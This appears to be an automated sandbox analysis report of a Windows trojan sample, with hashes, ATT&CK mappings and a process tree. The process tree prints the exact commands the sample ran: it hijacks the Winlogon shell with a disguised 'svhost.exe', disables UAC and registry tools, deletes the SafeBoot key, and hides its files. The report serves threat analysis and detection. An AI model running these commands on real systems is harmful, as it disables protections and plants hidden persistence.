fb306933ed475cc087e80087fc0af66fa52a70afd178dae97a70aa6abe295f8d

Analysis

max time kernel
119s
max time network
120s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
20/09/2024, 09:49

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General

Target

ed556376b201b84eb9858dc59151dff8_JaffaCakes118.exe
Size

219KB
MD5

ed556376b201b84eb9858dc59151dff8
SHA1

f1baf3a89a0adf4a0d197cab13e0fc2587ae22dd
SHA256

fb306933ed475cc087e80087fc0af66fa52a70afd178dae97a70aa6abe295f8d
SHA512

8e87dfa66fe089b980625346621317f6d164c385fd222d66e056039e84530dcec54ef8f2d644f1eb09a30209ca80a2603cd0e77a17a51fce6613401761f1662a
SSDEEP

3072:PyySTzVpx3NTloZg5Zsq2A8TuIWQ1JtT7HuTdyf7OqU9lJaiR08HxjJM:qyST5v3ZlYcZs5yIbzvfXU9lHRl

Score

10^/10

defense_evasion discovery evasion persistence trojan

Malware Config

Signatures

Modifies WinLogon for persistence 2 TTPs 2 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\shell = "C:\\Program Files\\Common Files\\Help\\svhost.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\shell = "C:\\Program Files\\Common Files\\Help\\svhost.exe"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

Disables RegEdit via registry modification 1 IoCs

evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	reg.exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 2 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
2728	cmd.exe
2828	cmd.exe

Drops file in Program Files directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Common Files\Help	attrib.exe
File opened for modification	C:\Program Files\Common Files\Help\svhost.exe	attrib.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 18 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ed556376b201b84eb9858dc59151dff8_JaffaCakes118.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
2756	reg.exe

Suspicious behavior: RenamesItself 1 IoCs

pid	Process
2836	cmd.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2168 wrote to memory of 2360	2168	ed556376b201b84eb9858dc59151dff8_JaffaCakes118.exe	30
PID 2168 wrote to memory of 2360	2168	ed556376b201b84eb9858dc59151dff8_JaffaCakes118.exe	30
PID 2168 wrote to memory of 2360	2168	ed556376b201b84eb9858dc59151dff8_JaffaCakes118.exe	30
PID 2168 wrote to memory of 2360	2168	ed556376b201b84eb9858dc59151dff8_JaffaCakes118.exe	30
PID 2168 wrote to memory of 2356	2168	ed556376b201b84eb9858dc59151dff8_JaffaCakes118.exe	32
PID 2168 wrote to memory of 2356	2168	ed556376b201b84eb9858dc59151dff8_JaffaCakes118.exe	32
PID 2168 wrote to memory of 2356	2168	ed556376b201b84eb9858dc59151dff8_JaffaCakes118.exe	32
PID 2168 wrote to memory of 2356	2168	ed556376b201b84eb9858dc59151dff8_JaffaCakes118.exe	32
PID 2168 wrote to memory of 2060	2168	ed556376b201b84eb9858dc59151dff8_JaffaCakes118.exe	34
PID 2168 wrote to memory of 2060	2168	ed556376b201b84eb9858dc59151dff8_JaffaCakes118.exe	34
PID 2168 wrote to memory of 2060	2168	ed556376b201b84eb9858dc59151dff8_JaffaCakes118.exe	34
PID 2168 wrote to memory of 2060	2168	ed556376b201b84eb9858dc59151dff8_JaffaCakes118.exe	34
PID 2168 wrote to memory of 2580	2168	ed556376b201b84eb9858dc59151dff8_JaffaCakes118.exe	36
PID 2168 wrote to memory of 2580	2168	ed556376b201b84eb9858dc59151dff8_JaffaCakes118.exe	36
PID 2168 wrote to memory of 2580	2168	ed556376b201b84eb9858dc59151dff8_JaffaCakes118.exe	36
PID 2168 wrote to memory of 2580	2168	ed556376b201b84eb9858dc59151dff8_JaffaCakes118.exe	36
PID 2168 wrote to memory of 2788	2168	ed556376b201b84eb9858dc59151dff8_JaffaCakes118.exe	38
PID 2168 wrote to memory of 2788	2168	ed556376b201b84eb9858dc59151dff8_JaffaCakes118.exe	38
PID 2168 wrote to memory of 2788	2168	ed556376b201b84eb9858dc59151dff8_JaffaCakes118.exe	38
PID 2168 wrote to memory of 2788	2168	ed556376b201b84eb9858dc59151dff8_JaffaCakes118.exe	38
PID 2168 wrote to memory of 2448	2168	ed556376b201b84eb9858dc59151dff8_JaffaCakes118.exe	40
PID 2168 wrote to memory of 2448	2168	ed556376b201b84eb9858dc59151dff8_JaffaCakes118.exe	40
PID 2168 wrote to memory of 2448	2168	ed556376b201b84eb9858dc59151dff8_JaffaCakes118.exe	40
PID 2168 wrote to memory of 2448	2168	ed556376b201b84eb9858dc59151dff8_JaffaCakes118.exe	40
PID 2360 wrote to memory of 2708	2360	cmd.exe	41
PID 2360 wrote to memory of 2708	2360	cmd.exe	41
PID 2360 wrote to memory of 2708	2360	cmd.exe	41
PID 2360 wrote to memory of 2708	2360	cmd.exe	41
PID 2356 wrote to memory of 2808	2356	cmd.exe	43
PID 2356 wrote to memory of 2808	2356	cmd.exe	43
PID 2356 wrote to memory of 2808	2356	cmd.exe	43
PID 2356 wrote to memory of 2808	2356	cmd.exe	43
PID 2168 wrote to memory of 2828	2168	ed556376b201b84eb9858dc59151dff8_JaffaCakes118.exe	44
PID 2168 wrote to memory of 2828	2168	ed556376b201b84eb9858dc59151dff8_JaffaCakes118.exe	44
PID 2168 wrote to memory of 2828	2168	ed556376b201b84eb9858dc59151dff8_JaffaCakes118.exe	44
PID 2168 wrote to memory of 2828	2168	ed556376b201b84eb9858dc59151dff8_JaffaCakes118.exe	44
PID 2708 wrote to memory of 2836	2708	cmd.exe	47
PID 2708 wrote to memory of 2836	2708	cmd.exe	47
PID 2708 wrote to memory of 2836	2708	cmd.exe	47
PID 2708 wrote to memory of 2836	2708	cmd.exe	47
PID 2580 wrote to memory of 2756	2580	cmd.exe	46
PID 2580 wrote to memory of 2756	2580	cmd.exe	46
PID 2580 wrote to memory of 2756	2580	cmd.exe	46
PID 2580 wrote to memory of 2756	2580	cmd.exe	46
PID 2168 wrote to memory of 2728	2168	ed556376b201b84eb9858dc59151dff8_JaffaCakes118.exe	48
PID 2168 wrote to memory of 2728	2168	ed556376b201b84eb9858dc59151dff8_JaffaCakes118.exe	48
PID 2060 wrote to memory of 2988	2060	cmd.exe	45
PID 2168 wrote to memory of 2728	2168	ed556376b201b84eb9858dc59151dff8_JaffaCakes118.exe	48
PID 2168 wrote to memory of 2728	2168	ed556376b201b84eb9858dc59151dff8_JaffaCakes118.exe	48
PID 2060 wrote to memory of 2988	2060	cmd.exe	45
PID 2060 wrote to memory of 2988	2060	cmd.exe	45
PID 2060 wrote to memory of 2988	2060	cmd.exe	45
PID 2788 wrote to memory of 2848	2788	cmd.exe	49
PID 2788 wrote to memory of 2848	2788	cmd.exe	49
PID 2788 wrote to memory of 2848	2788	cmd.exe	49
PID 2788 wrote to memory of 2848	2788	cmd.exe	49
PID 2448 wrote to memory of 2612	2448	cmd.exe	51
PID 2448 wrote to memory of 2612	2448	cmd.exe	51
PID 2448 wrote to memory of 2612	2448	cmd.exe	51
PID 2448 wrote to memory of 2612	2448	cmd.exe	51
PID 2728 wrote to memory of 2632	2728	cmd.exe	53
PID 2728 wrote to memory of 2632	2728	cmd.exe	53
PID 2728 wrote to memory of 2632	2728	cmd.exe	53
PID 2728 wrote to memory of 2632	2728	cmd.exe	53

Views/modifies file attributes 1 TTPs 2 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2632	attrib.exe
2920	attrib.exe

C:\Users\Admin\AppData\Local\Temp\ed556376b201b84eb9858dc59151dff8_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\ed556376b201b84eb9858dc59151dff8_JaffaCakes118.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2168
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c cmd /c cmd /c move /y "C:\USERS\ADMIN\APPDATA\LOCAL\TEMP\ed556376b201b84eb9858dc59151dff8_JaffaCakes118.exe" "C:\Program Files\Common Files\Help\svhost.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2360
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c cmd /c move /y "C:\USERS\ADMIN\APPDATA\LOCAL\TEMP\ed556376b201b84eb9858dc59151dff8_JaffaCakes118.exe" "C:\Program Files\Common Files\Help\svhost.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2708
  - - C:\Windows\SysWOW64\cmd.exe
      cmd /c move /y "C:\USERS\ADMIN\APPDATA\LOCAL\TEMP\ed556376b201b84eb9858dc59151dff8_JaffaCakes118.exe" "C:\Program Files\Common Files\Help\svhost.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: RenamesItself
      PID:2836
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "hkey_local_machine\software\microsoft\windows nt\currentversion\winlogon" /v shell /t reg_sz /d "C:\Program Files\Common Files\Help\svhost.exe" /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2356
- - C:\Windows\SysWOW64\reg.exe
    reg add "hkey_local_machine\software\microsoft\windows nt\currentversion\winlogon" /v shell /t reg_sz /d "C:\Program Files\Common Files\Help\svhost.exe" /f
    3⤵
    - Modifies WinLogon for persistence
    - System Location Discovery: System Language Discovery
    PID:2808
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "hkey_local_machine\software\microsoft\windows nt\currentversion\winlogon " /v shell /t reg_sz /d "C:\Program Files\Common Files\Help\svhost.exe" /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2060
- - C:\Windows\SysWOW64\reg.exe
    reg add "hkey_local_machine\software\microsoft\windows nt\currentversion\winlogon " /v shell /t reg_sz /d "C:\Program Files\Common Files\Help\svhost.exe" /f
    3⤵
    - Modifies WinLogon for persistence
    - System Location Discovery: System Language Discovery
    PID:2988
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2580
- - C:\Windows\SysWOW64\reg.exe
    REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
    3⤵
    - UAC bypass
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:2756
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t reg_dword /d "1" /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2788
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t reg_dword /d "1" /f
    3⤵
    - Disables RegEdit via registry modification
    - System Location Discovery: System Language Discovery
    PID:2848
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg delete HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SafeBoot /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2448
- - C:\Windows\SysWOW64\reg.exe
    reg delete HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SafeBoot /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2612
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib +h "C:\Program Files\Common Files\Help\svhost.exe"
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - System Location Discovery: System Language Discovery
  PID:2828
- - C:\Windows\SysWOW64\attrib.exe
    attrib +h "C:\Program Files\Common Files\Help\svhost.exe"
    3⤵
    - Drops file in Program Files directory
    - System Location Discovery: System Language Discovery
    - Views/modifies file attributes
    PID:2920
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib +h "C:\Program Files\Common Files\Help"
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2728
- - C:\Windows\SysWOW64\attrib.exe
    attrib +h "C:\Program Files\Common Files\Help"
    3⤵
    - Drops file in Program Files directory
    - System Location Discovery: System Language Discovery
    - Views/modifies file attributes
    PID:2632

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2168-0-0x0000000000400000-0x0000000000D5A000-memory.dmp

Filesize
9.4MB

Download
memory/2168-1-0x0000000000220000-0x0000000000222000-memory.dmp

Filesize
8KB

Download
memory/2168-2-0x0000000000400000-0x0000000000D5A000-memory.dmp

Filesize
9.4MB

Download
memory/2168-4-0x0000000000400000-0x0000000000D5A000-memory.dmp

Filesize
9.4MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads